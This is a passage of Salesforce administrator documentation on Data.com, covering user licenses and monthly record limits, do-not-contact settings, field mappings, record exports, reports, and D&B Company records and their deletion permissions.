Enable each Data.com user on his or her User Edit page. 1. Click Your Name > Setup > Manage Users > Users, then click Edit next to the name of the user you want to enable. 2. In the Data.com User Type drop-down, select the user type. 3. For Data.com users, in the Data.com Monthly Addition Limit drop-down, select the number of contact and lead records the user can add each month. You can select up to the organization limit for any user or all users, but once the organization's monthly limit is reached, users won't be able to add more records. For example, if your organization's monthly addition limit is 3000 records, you might assign one user a monthly addition limit of 500 records, another user a limit of 1,000 records, and another user the organization limit (in this case 3,000 records). If the second user adds all 1,000 of his records right away, the third user will only be able to add up to 2,000 records, and depending on how many the third user adds, the first user may not be able to add any records.

893

Data.com Administration

Understanding Data.com User Types, Licenses, and Limits

Tip: You can find your organization's monthly organization addition limit on the Data.com Licenses & Limits page. Click Your Name > Setup > Data.com Administration > Licenses & Limits. 4. Click Save to save the current record, or Save and New if you want to enable other users for Data.com. Tip: You can also enable Data.com users from the Apex Data Loader. To do so, you export your user records to a .csv file, change the Data.com user permission for each user you want to enable, and then import the .csv file into Salesforce. The fields to export from the User object are LastName, FirstName, and UserPermissionsJigsawProspectingUser. Contact salesforce.com support if you need help. The number of Data.com users you can enablewithin Salesforce or via the Data Loaderdepends on the number of Data.com licenses you have purchased. Make sure you stay within that limit when enabling users via the Data Loader.

See Also:
Understanding Data.com User Types, Licenses, and Limits Data Loader Overview

Understanding Data.com User Types, Licenses, and Limits


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

The Data.com Licenses & Limits page identifies the type and number of user licenses you have, and the limits per user and for your organization. Limits are listed by user type: Data.com User and Data.com List User. Assign monthly record additions for each user on his or her User Edit page. The Licenses & Limits page also provides information about your organizations Clean implementation.

Data.com Licenses
Data.com user licenses let users search Data.com for accounts and contacts, and add them as records to Salesforce. Users can also add contacts as leads. If your organization has purchased Data.com Corporate, youll see Corporate in the heading for this section of the page. Data.com Corporate includes several Dun & Bradstreet (D&B) fields on the Account object, including D-U-N-S Number, NAICS Code, NAICS Description, and more. If your organization has purchased Data.com Premium, youll see Premium in the section heading. Data.com Premium users have access to all the fields available in Data.com Corporate, plus over 70 additional D&B fields on D&B Company records. (D&B Company records are linked to accounts that are added to Salesforce from Data.com.)

894

Data.com Administration

Understanding Data.com User Types, Licenses, and Limits

Field
Number of Licenses

Definition The total number of Data.com, Data.com Corporate, or Data.com Premium user licenses your organization has purchased from Salesforce. The number of Data.com user licenses you've assigned. A single Data.com license is assigned every time you enable a user for Data.com. Tip: To see which users have been enabled, check the All Data.com Users page. Click Your Name > Setup > Data.com Administration > Users.

Assigned

Data.com User Limits (Monthly)


Data.com Users get a limited number of records to add or export per month, and their unused additions expire at the end of each month. For each Data.com User, you can see the monthly limit and number of records added to Salesforce or exported during the month. Field
Default Per-User Record Limit

Definition The number of records a single Data.com user license allows. The default number of records per license is 300, but it can be adjusted based on your agreement. Additions expire at the end of each month, as determined by your organization's default time zone.

Organization Limit

The total number of records your organization can add each month. This limit is calculated by multiplying the number of Data.com user licenses you have by the monthly limit per user license. Typically, you distribute record limits among a number of users within your organization, but you can also assign them all to a single user.

(month) Balance

The number of records Data.com users can still add or export during the current month. The balance is updated every time a user adds records to Salesforce. Additions expire at the end of each month, as determined by your organization's default time zone. Tip: To see how many records each user has added, check the All Data.com Users page. Click Your Name > Setup > Data.com Administration > Users.

Heres an example of how an organization manages Data.com User licenses and limits. The sales division of Universal Telco has 14 sales reps, and they purchase 20 Data.com licenses, each of which has a record addition limit of 300. This means that Data.com Users within the organization can add as many as 6,000 records per month. The Universal Telco administrator distributes the Data.com Users monthly record addition limits as follows.

895

Data.com Administration

Understanding Data.com User Types, Licenses, and Limits

Ten of the sales reps have limits of 300 each. Two of the sales reps have limits of 500 each. Two of the sales reps have a limit of 1,000 each.

Data.com List User Limits


Data.com List users share account, contact, and lead record additions from a pool. You can see the organization's limit, and the number of records each Data.com List User has added to Salesforce or exported. Field
Pool Record Limit

Definition The total number of records your organization's Data.com List Users can add. All Data.com List users work from this limit, so if one Data.com List user reaches the limit, other users of that type will not be able to add records. The number of records Data.com List users can still add. The balance is updated every time a user adds records to Salesforce. Tip: To see how many records each user has added, check the All Data.com Data.com Users page. Click Your Name > Setup > Data.com Administration > Users.

Balance

Heres an example of how an organization manages Data.com List User licenses and limits. The marketing division of Universal Telco has four marketing reps. Each rep has a Data.com license and each is a Data.com List user. Universal Telco purchases a record addition pool of 5,000 records. This means that together, all four marketing reps can add 5,000 records. One rep might add 2500 records, leaving 2500 to be added by one or more of the other three users.

Data.com Clean
The Data.com Licenses & Limits page also provides information about your organizations Clean capabilities and implementation. If your organization uses Data.com Corporate or Data.com Premium, users with those licenses can manually clean the account, contact, and lead records they have access to. If your organization has purchased a Data.com Clean product, you can also run automated jobs to clean records, and all Salesforce users (not just those with Data.com Corporate or Data.com Premium licenses) can manually clean records. Field
Available To

Definition Which of your Salesforce users can manually clean records. If youve purchased Data.com Clean, all Salesforce users can clean records. If youve purchased only Data.com Corporate or Data.com Premium, only users with licenses can clean records. The availability of automated clean jobs for your organization. If youve purchased Data.com Clean but havent yet scheduled clean jobs, click the Schedule Clean Jobs link. If you havent

Automation

896

Data.com Administration

Purchasing Additional Data.com Licenses

Field

Definition purchased Data.com Clean, click the Learn More... link to get product details.

See Also:
Setting Up Data.com Users How do I know which Data.com product my organization has? What should I do if my Data.com Users reach their addition limits and we need more prospecting capacity? How can I find out how many Data.com records I can add to Salesforce?

Purchasing Additional Data.com Licenses


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com: To enable Data.com users: To use Checkout: Customize Application Manage Users Manage Billing

If you need to purchase additional licenses for Data.com Users, you can do so using Checkout, right from the Data.com Licenses & Limits page. Just make sure youre enabled to use Checkout. When your purchase is complete, you can assign licenses to users if you need to. Note: When purchasing Data.com licenses, you cant mix Corporate and Premium: organizations that already have Corporate licenses can not purchase Premium licenses, and organizations that already have Premium licenses can not purchase Corporate licenses. 1. Click Your Name > Setup > Data.com Administration > Licenses & Limits. 2. Click Purchase More and follow the steps. 3. (Optional) Assign the new licenses to users. For detailed instructions on using Checkout, see the Checkout User Guide.

See Also:
Understanding Data.com User Types, Licenses, and Limits Setting Up Data.com Users

897

Data.com Administration

Respecting Do-Not-Contact Settings in Data.com Search Results and Exports

Respecting Do-Not-Contact Settings in Data.com Search Results and Exports


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com: Customize Application

In Data.com search results and export files, you can mask out or remove email and phone values for contact and lead records already in Salesforce that have Do Not Call or Email Opt Out selected. For example: You have a lead record in Salesforce for Sally Larkin and on that record the Do Not Call checkbox is selected. You search for Sally Larkin as a contact on the Data.com tab and her record appears in the search results list, marked as already in Salesforce ( ). The Phone field is masked in the search results list, and also on Sallys contact card. If you export the record, its Phone field is blank in the .csv file. 1. Click Your Name > Setup > Data.com Administration > Preferences. 2. Select the Respect Do-Not-Contact Settings checkbox. For records that have Do Not Call or Email Opt Out selected, Phone or Email field values are masked in the search results and on the Contact Card, and blank in .csv files created when you export records.

See Also:
Guidelines for Exporting and Importing Data.com Records Exporting Data.com Contact Records Guidelines for Exporting and Importing Data.com Records Finding and Adding Data.com Contacts from the Data.com Tab Getting Data.com Contacts from an Account Data.com Search Fields and Filters

898

Data.com Administration

Allowing Duplicate Data.com Records in Salesforce

Allowing Duplicate Data.com Records in Salesforce


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

Organizations that use a sharing model may want to allow Data.com users to add duplicate account, contact, or lead records to Salesforce. There are several things to keep in mind when setting your duplicate preferences. Records are considered duplicates when they have the same Data.com ID number in the Data.com Key field. Duplicates can only be allowed, by object, for the entire organization, not for individual users. If, however, you want to prevent a user from being able to add duplicates, you can create a trigger. Records that have already been added to Salesforce by any Data.com user are marked with an icon ( ) in the search results and can be re-added by any Data.com user. When a record is added as a duplicate, it will not be counted against the users monthly record addition limit. Adding a record only counts against a users monthly addition limit the first time its added to Salesforce.

To set up your duplicate preferences, follow these steps. 1. Click Your Name > Setup > Data.com Administration > Preferences. 2. In the Duplicate Preferences section of the page, select which objects you want to allow duplicates for (accounts, contacts, or leads).

See Also:
Implementing Data.com

Understanding Data.com-to-Salesforce Custom Field Mapping


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

Create custom mappings from Data.com fields to Salesforce account, contact, and lead fields to get Data.com values in the Salesforce fields where you want them. Not all Data.com fields are available for all Salesforce fields. To be mappable, the new Salesforce field must be the same data type as the default field. For example, the Description field can be mapped to a long text area field with 1,000 characters or more.

899

Data.com Administration

Understanding Data.com-to-Salesforce Custom Field Mapping

Custom field mappings apply when: Data.com records are added to Salesforce Salesforce records are matched with Data.com records and cleaned either manually or with automated jobs

Before you map fields, make sure you understand these potential outcomes and the related actions you should take. Mapping fields or updating mappings forces a full sync with Data.com: all records of enabled CRM objects (accounts, contacts, and leads) are updated, even if no records have changed. Data.com field mappings may conflict with any Salesforce field customizations (such as approvals, workflow rules, or Apex triggers) you use for accounts, contacts, or leads. Review and edit your customizations as needed so they will work with the values supplied by your mappings. You can skip mapping individual Data.com fields, but values for skipped fields won't be added, exported, or considered when we calculate a record's clean status. Skipping or changing mappings for fields used to match Salesforce and Data.com records may change some records clean status to Not Found. If you export Data.com search results, the column headers in your Excel file will show the mapped field names. For example, if you map the Data.com Phone field to the Contact objects Mobile field, youll see a header called Mobile for contacts, not Phone. If you map Data.com fields that do not have values, some Salesforce records might revert to Not Found clean status. If you map a Data.com field to a custom Salesforce field, the custom fields label will appear on the Clean comparison page. If you want to track changes to field mappings, youll find them in the Setup Audit Trail. Click Your Name > Security Controls > View Setup Audit Trail.

See Also:
Customizing Data.com-to-Salesforce Field Mappings Default Data.com-to-Salesforce Field Mappings About Validation Rules Workflow and Approvals Overview Managing Apex Triggers Understanding How Salesforce and Data.com Records are Matched Cleaning Records Manually With Data.com Clean Understanding Data.com Clean Status

900

Data.com Administration

Customizing Data.com-to-Salesforce Field Mappings

Customizing Data.com-to-Salesforce Field Mappings


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement Data.com: To enable Data.com users: To install AppExchange packages: Customize Application Manage Users Download AppExchange Packages

Before you begin, make sure you understand how mapping works, what preparations to make, and what kind of results you should expect. 1. Click Your Name > Setup > Data.com Administration > Field Mapping. 2. For each Data.com field you want to map, select a Salesforce field. If you dont want to map a field, select Skip Mapping. Note: Not all Data.com fields are available for all Salesforce fields. To be mappable, the new Salesforce field must be the same data type as the default field. For example, the Description field can be mapped to a long text area field with 1,000 characters or more. Custom field mappings apply when: Data.com records are added to Salesforce Salesforce records are matched with Data.com records and cleaned either manually or with automated jobs

Default Data.com-to-Salesforce Field Mappings


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

If you use Data.com Premium, you have access to D&B Company records, which include over 70 fields from Dun & Bradstreet (D&B). Several of those D&B fields are also available on accounts, contacts, and lead records but sometimes with a different field name. This topic details the default field mappings between Data.coms D&B fields and Salesforce account, contact, and lead fields.

901

Data.com Administration

Default Data.com-to-Salesforce Field Mappings

System administrators can set up custom field mappings.

Accounts
D&B Field
Annual Sales Volume Company Description D-U-N-S Number Facsimile Number Location Type Mailing Address Number of EmployeesTotal Ownership Type Indicator Primary Address Primary Business Name Primary NAICS Code Primary NAICS Description Primary SIC Code Primary SIC Description Primary Tradestyle Telephone Number Ticker Symbol URL Year Started

Account Field
Annual Revenue Description D-U-N-S Number Fax Account Site Shipping Address Employees Ownership Billing Address Account Name NAICS Code NAICS Description SIC Code SIC Description Tradestyle Phone Ticker Symbol Website Year Started

Contacts
D&B Field
Primary Address Primary Business Name

Contact Field
Mailing Address Account Name

Leads
D&B Field
Annual Sales Volume Company Description D-U-N-S Number

Lead Field
Annual Revenue Description Company D-U-N-S Number

902

Data.com Administration

Data.com Clean Enablement for Data.com Corporate or Premium

D&B Field
Number of EmployeesTotal Primary Address Primary Business Name

Lead Field
No. of Employees Address Company

See Also:
Customizing Data.com-to-Salesforce Field Mappings Understanding Data.com-to-Salesforce Custom Field Mapping Understanding Data.com Industry Mapping Account Fields Contact Fields Lead Fields D&B Company Fields Understanding Data.com Industry Mapping

Data.com Clean Enablement for Data.com Corporate or Premium


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To enable or disable Data.com Clean: Customize Application

The Data.com Corporate and Premium products provide the ability to manually clean Salesforce account, contact, and lead recordswhether they were added from Data.com or not. If you use Corporate or Premium, Clean is automatically enabled for you so your users can manually clean their records. Note: If you have purchased the Data.com Clean product, you can clean account, contact, and lead records manually and with automated jobs. You can also clean D&B Company records that are linked to account records. For complete details, see Implementing Data.com Clean. Enabling Clean does not clean your records immediately, and you can click Disable to turn the feature off.

1. Click Your Name > Setup > Data.com Administration > Clean > Settings

903

Data.com Administration

Exporting Data.com Account Records

2. Confirm that Data.com Clean is enabled.

See Also:
Implementing Data.com Clean

Exporting Data.com Account Records


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To export Data.com accounts records: Read on accounts

If you want to work with Data.com account records in other programs, you can export them from your search results on the Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program that supports .csv format. The account fields that are exported are:
Jigsaw (the account's Data.com Key field) Name Website Phone BillingStreet BillingCity BillingState BillingPostalCode BillingCountry Industry NumberOfEmployees AnnualRevenue Ownership TickerSymbol

1. Start from a list of Data.com account search results. 2. Export all accounts or a selection. To export all accounts, click Export Results and choose All. To export selected accounts, select the ones you want, then click Export Results and choose Selected.

904

Data.com Administration

Exporting Data.com Contact Records

3. Choose whether you want to exclude records that have already been exported or that are already in Salesforce. These records are marked in the search results with an icon ( ). Then click Continue. A dialog box appears. It identifies the default name of the export file: DataDotCom_Accounts.csv. 4. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version. Click Save As to rename it.

See Also:
Data.com Search Fields and Filters Using Data.com Reports and Dashboards Data Loader Overview Guidelines for Exporting and Importing Data.com Records Finding and Adding Accounts from Data.com Data.com Search Fields and Filters

Exporting Data.com Contact Records


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To export contacts: Read on contacts

If you want to work with Data.com contact records in other programs, you can export them from your search results on the Data.com tab. Exporting creates a comma-separated value (.csv) file that you can open in Microsoft Excel or any program that supports .csv format. If your organization respects Do-Not-Contact settings, contact records with Do Not Call or Email Opt Out selected have blank Phone or Email fields in. csv files. The contact fields that are exported are:
Jigsaw (the contact's Data.com Key field) FirstName LastName Title Phone Email MailingStreet MailingCity MailingState MailingPostalCode MailingCountry

905

Data.com Administration

Resolving Data.com Record Addition Errors

AccountName NumberofEmployees AnnualRevenue

1. Start from a list of Data.com contact search results. 2. Export all contacts or a selection. To export all contacts, click Export Results and choose All. To export selected contacts, select the ones you want, then click Export Results and choose Selected.

3. Choose whether you want to exclude records that have already been exported or that are already in Salesforce. These records are marked in the search results with an icon ( ). Then click Continue. A dialog box appears and identifies the default name of the export file: DataDotCom_Contacts.csv. 4. Open the file with Microsoft Excel or save it to a directory. If you open the file before saving, you'll get a read-only version. Click Save As to rename it.

See Also:
Data.com Search Fields and Filters Respecting Do-Not-Contact Settings in Data.com Search Results and Exports Data Loader Overview Guidelines for Exporting and Importing Data.com Records Finding and Adding Data.com Contacts from the Data.com Tab Getting Data.com Contacts from an Account Data.com Search Fields and Filters

Resolving Data.com Record Addition Errors


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To add accounts from Data.com: To add contacts from Data.com: To add Data.com contacts from an account To add Data.com contacts as leads Create on accounts Create on contacts Read on accounts AND Create on contacts Create on leads

If errors are preventing you from adding one or more Data.com records to Salesforce, well provide a .csv error log file. How we provide the error log depends on what you were trying to do.

906

Data.com Administration

Installing and Implementing the Data.com Reports AppExchange Package

If you were trying to add fewer than 200 records, youll see a message with a link to the error log on the Files tab. If you were trying to add 200 records or more, youll receive an email with a link to the error log on the Files tab. If you were trying to add any number of records and you do not have Chatter enabled, youll receive an email with the error log attached.

1. Open the record addition error log and review the errors, then take one of these actions. If you see errors regarding duplicate records, you dont need to do anything. Duplicate errors mean that the records are already in Salesforce, so you dont need to add them again. If your Data.com preferences are set to allow duplicates, the error log will not include any duplicate errors. If you see errors regarding your organizations custom configurations, such as triggers, validation rules, or workflow, let your system administrator know because they may need to correct these configurations. For all other errors, contact your system administrator, who may need to contact Support.

2. After the errors have been resolved, try again to add the Data.com records to Salesforce.

See Also:
Finding and Adding Accounts from Data.com Finding and Adding Data.com Contacts from the Data.com Tab Adding Data.com Contacts as Leads Getting Data.com Contacts from an Account

Installing and Implementing the Data.com Reports AppExchange Package


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To install packages: To customize page layouts: To view page layouts: Download AppExchange Packages Customize Application View Setup

The Data.com Reports AppExchange package offers: Several preconfigured Data.com reports and a corresponding set of analytics and impact dashboards. Use these tools to monitor the impact of Data.com data on your leads, forecast, and revenue. A custom field you can add to your account, contact, and lead page layouts to identify the records you dont want auto-updated by Data.com Clean jobs; and a validation rule that identifies attempted auto-updates on fields within those records. The validation rule tells the clean job to skip those records.

907

Data.com Administration

Installing and Implementing the Data.com Reports AppExchange Package

Important: Starting July 1, 2012, this package will not be compatible with the Jigsaw for Salesforce AppExchange package. 1. Go to the Data.com Reports AppExchange page to download the package. 2. To install Data.com Reports, follow the instructions in Installing a Package. 3. Let your users know that the Data.com reports and dashboards are available. If your organization uses Professional Edition, youll also need to add the following fields to your page layouts. Page Layout Account Fields to Add
Added from Data.com Data.com Managed Data.com Matched

Contact

Added from Data.com Data.com Managed

Lead

Added from Data.com Data.com Managed

Opportunity

Added from Data.com

See Also:
Using Data.com Reports and Dashboards Preventing Data.com Clean Auto-Updates for Account, Contact, and Lead Records Installing a Package

908

Data.com Administration

Using Data.com Reports and Dashboards

Using Data.com Reports and Dashboards


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To run Data.com reports: Run reports

The Data.com Reports AppExchange package offers several preconfigured reports and two corresponding dashboards. The reports available on the Data.com Analytics dashboard are used primarily by sales operations and those responsible for keeping your Salesforce data clean. The reports available on the Data.com Impact dashboard are used primarily by sales management to see the value Data.com is providing in terms of converted leads, sales forecast, and revenue. This table describes each report. For more information, see Installing the Data.com Reports AppExchange package on page 907. Report Accounts by Clean Status Accounts from Data.com Accounts Managed by Data.com Accounts with Duplicate Data.com Keys Contacts by Clean Status Contacts from Data.com Contacts Managed by Data.com Contacts with Duplicate Data.com Keys Converted Leads from Data.com Data.com Clean Daily Metrics Forecast Data.com-Matched Opportunities Description Which clean status does each account have? Grouped by clean status. Which accounts have been added from Data.com? Grouped by date and creator. Which accounts are matched to Data.com records and are therefore managed records? Which accounts have the same Data.com key and are likely duplicate records? Grouped by Data.com key. Which clean status does each contact have? Grouped by clean status. Which contacts have been added from Data.com? Grouped by date and creator. Which contacts are matched to Data.com records and are therefore managed records? Which contacts have the same Data.com key and are likely duplicate records? Grouped by Data.com key. Which converted leads were sourced from Data.com? How many records are processed, matched, and cleaned on a daily basis? What is the sales forecast from open opportunities with account or lead records matched from Data.com?

909

Data.com Administration

Using Data.com Reports and Dashboards

Report Forecast Data.com-Sourced Opportunities Leads by Clean Status Leads from Data.com Leads Matched to Data.com Records Leads with Duplicate Data.com Keys Matching Accounts Last Modified by Clean

Description What is the sales forecast from open opportunities with account or lead records added from Data.com? Which clean status does each lead have? Grouped by clean status. Which leads have been added from Data.com? Grouped by date and creator. Which leads matched Data.com and are therefore managed records? Which leads have the same Data.com key and are likely duplicate records? Grouped by Data.com key. Which accounts matched to Data.com records were last modified by Data.com Clean? Accounts are considered to be modified by Clean if there are changes to any fields, including Clean Status, and the changes were made either manually or via automated jobs. If the record was later edited by another user, it wont appear in this report. Grouped by last modified date. Which contacts matched to Data.com records were last modified by Data.com Clean? Contacts are considered to be modified by Clean if there are changes to any fields, including Clean Status, and the changes were made either manually or via automated jobs. If the record was later edited by another user, it wont appear in this report. Grouped by last modified date. Which leads matched to Data.com records were last modified by Data.com Clean? Leads are considered to be modified by Clean if there are changes to any fields, including Clean Status, and the changes were made either manually or via automated jobs. If the record was later edited by another user, it wont appear in this report. Grouped by last modified date. What percentage of converted leads were added from Data.com? What percentage of sales forecast is from open opportunities with account or lead records matched to Data.com and are therefore managed records? What percentage of leads are matched to Data.com and are therefore managed records? What percentage of revenue is from opportunities associated with account or lead records that match to Data.com? What percentage of my sales forecast comes from account or lead records added from Data.com? What percentage of my sales revenue came from account or lead records added from Data.com?

Matching Contacts Last Modified by Clean

Matching Leads Last Modified by Clean

Percentage Converted Leads from Data.com Percentage Forecast Matched to Data.com

Percentage Leads Matched to Data.com Percentage Revenue Matched to Data.com Percentage Sales Forecast from Data.com Percentage Sales Revenue from Data.com

910

Data.com Administration

Uninstalling Jigsaw for Salesforce

Report Revenue Data.com-Matched Opportunities

Description What is the sales revenue amount from closed-won opportunities with account or lead records matched from Data.com? What is the sales revenue amount from closed-won opportunities with account or lead records added from Data.com?

Revenue Data.com-Sourced Opportunities

To run any Data.com report, just click the Reports tab, expand the Data.com list, and select the one you want. To view Data.com reports as dashboards, just click the Dashboards tab. In the View Dashboards drop-down, under Data.com, select Data.com Impact or Data.com Analytics.

See Also:
Data.com Search Fields and Filters

Uninstalling Jigsaw for Salesforce


Available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed To uninstall packages Download AppExchange Packages AND Customize Application

To uninstall Jigsaw for Salesforce, follow the instructions in the Jigsaw for Salesforce Uninstall Guide.

Using Clean features from Jigsaw for Salesforce


Available in: Developer, Enterprise, Professional, and Unlimited Editions

User Permissions Needed To clean account records: To clean contact records: To clean lead records: Edit on accounts Edit on contacts Edit on leads

If you use Data.com for prospecting in Salesforce, but use the Jigsaw for Salesforce AppExchange package to clean your records, follow the instructions in Using Data.com Clean in Salesforce to clean your account, contact, and lead records.

911

D&B Company Administration

D&B Companies Overview

For instructions on setting up Jigsaw for Salesforce, see Jigsaw for Salesforce Configuration Guide.

D&B COMPANY ADMINISTRATION


D&B Companies Overview
Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

Dun & Bradstreet (D&B) is the worlds leading source of commercial information and insight on businesses, enabling companies to Decide with Confidence for over 170 years. D&Bs global database contains the worlds largest source of business records, and is backed by D&Bs proprietary DUNSRight quality assurance process, ensuring you that company information is complete and accurate. As part of Salesforces Data.com solution, D&B gives users integrated access to its trusted global database of millions of companies and corporate structures, and over 70 fields of company information, such as D-U-N-S Number and NAICS industry codes, directly in Salesforce. D&B Companies is available to organizations that purchase Data.com Premium. Heres how it works. When you add an account or lead from Data.com, a corresponding D&B Company record is automatically created and linked to that record via its D&B Company field. Just click the link to open the D&B Company record and view the rich set of D&B data, including a Company Description field, plus sections like Primary Data and Firmographic Data. If the D&B Company record is linked to an account, the Accounts related list on the page links back to the account record. For example, if you add an account record for Starbucks, when you open its record, the D&B Company field value is Starbucks Corporation. The value is underlined to identify it as a link. Just click the link to open the Starbucks Corporation D&B Company record. For accounts and leads not added from Data.com (those created manually, for example), if a corresponding D&B Company record exists, it is added to Salesforce and linked to the account or lead record the first time that record is cleaned.

912

D&B Company Administration

Implementing D&B Companies

If your company also uses the Data.com Clean product, you can use automated jobs to update your D&B Company records.

See Also:
Configuring Data.com Premium Maintaining Linked Salesforce and D&B Company Records D&B Company Fields Implementing Data.com Clean Cleaning Records Manually With Data.com Clean Finding and Adding Accounts from Data.com D&B Company Fields Cleaning Records Manually With Data.com Clean

Implementing D&B Companies


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement D&B Companies: Customize Application

If your organization has purchased Data.com Premium, you have access to the D&B Companies object, which provides D&B data for accounts and leads you add to Salesforce. Cleaning an account or lead record also creates a D&B Company record if you dont yet have one in Salesforce. The D&B Companies tab lists all the D&B Company records you have in Salesforce. Each D&B Company record displays a large set of D&B fields. If youve purchased the Data.com Clean product, you can also use automated jobs to clean D&B Company records. Cleaning a D&B Company record automatically fills blank fields and overwrites old data with new. Setting up D&B Companies is easy to dojust follow the steps for configuring Data.com Premium, and keep these guidelines in mind. Tip: To find out which Data.com product your organization has, just click Your Name > Setup > Data.com Administration > Licenses & Limits. On the Licenses & Limits page, check the Data.com Licenses section. Youll see either Corporate or Premium.

Implementation Guidelines
Make sure you add the D&B Companies tab to user profiles. If you use the Data.com Clean product and want to automatically update D&B Company records, define that preference.

913

D&B Company Administration

Maintaining Linked Salesforce and D&B Company Records

The D&B fields that also exist on the account object (such as D-U-N-S Number, SIC Code, and NAICS Code) are managed fields, and they are updated by both manual and automated clean processes. Automated clean jobs are available if you use the Data.com Clean product. Because the D&B Company object is read-only (except for Data.com Clean updates), you cant create task and field update workflow rules for it. Rules that are triggered by D&B field changes that act on other objects are permitted, however. For example, you can create a workflow rule that updates a custom field on an account record when a D&B Company record is created. You can enable users to view and delete D&B Company records by assigning the appropriate profile permissions. Standard profiles automatically have the Read D&B Company records permission, but need to be assigned the Delete D&B Company records permission. Custom profiles need to be assigned both permissions.

See Also:
D&B Companies Overview Implementing Data.com Clean

Maintaining Linked Salesforce and D&B Company Records


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To enable deletion of D&B Company records: Customize Application

If you use Data.com Premium, when you add an account or lead from Data.com, a corresponding D&B Company record is automatically created and linked to the Salesforce record via its D&B Company field. If you delete an account or lead, you might also want to delete the D&B Company record. Important: Because the D&B Company field is editable on account and lead records, more than one account might end up associated to a single D&B Company record. We recommend that you do not delete D&B Company records that are associated to more than one account or lead record. System administrators are enabled by default to delete D&B Company records, but if you need to enable other users to delete these records, you must first create a permission set that allows them to.

914

D&B Company Administration

Creating a Permission Set for Deleting D&B Company Records

Creating a Permission Set for Deleting D&B Company Records


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To implement D&B Companies: To create permission sets: Customize Application Manage Users

System administrators are enabled by default to delete D&B Company records, but if you need to enable other users to delete these records, you must first create a permission set that allows them to. 1. Create a new permission set. In the Label field, enter a name related to the permission youre granting. For example: D&B Company Delete. In the User License field, select Salesforce. Click Save. 2. On the permission sets overview page, click App Permissions. 3. On the App Permissions page, click Edit, then select Delete D&B Company records. Because the Read D&B Company records permission is also required before you can delete D&B Company records, that permissions checkbox is selected automatically. 4. Click Save. A Delete button now appears on all D&B Company records.

See Also:
Maintaining Linked Salesforce and D&B Company Records

915

D&B Company Administration

Deleting D&B Company Records

Deleting D&B Company Records


Data.com available in: Contact Manager, Developer, Enterprise, Group, and Professional Editions Data.com available for an additional cost in: Unlimited Edition Data.com Clean available in: Developer, Enterprise, and Professional Editions Data.com Clean available for an additional cost in: Unlimited Edition

User Permissions Needed To delete D&B Company records: Read D&B Company records AND Delete D&B Company records

If you use Data.com Premium, when you add an account or lead from Data.com, a corresponding D&B Company record is automatically created and linked to the Salesforce record via its D&B Company field. If you delete an account or lead, you might also want to delete the D&B Company record. 1. If you need to, create a permission set to allow you to delete D&B Company records. 2. Open the D&B record you want to delete and click Delete.

See Also:
Maintaining Linked Salesforce and D&B Company Records Creating Permission Sets

D&B Company Fields


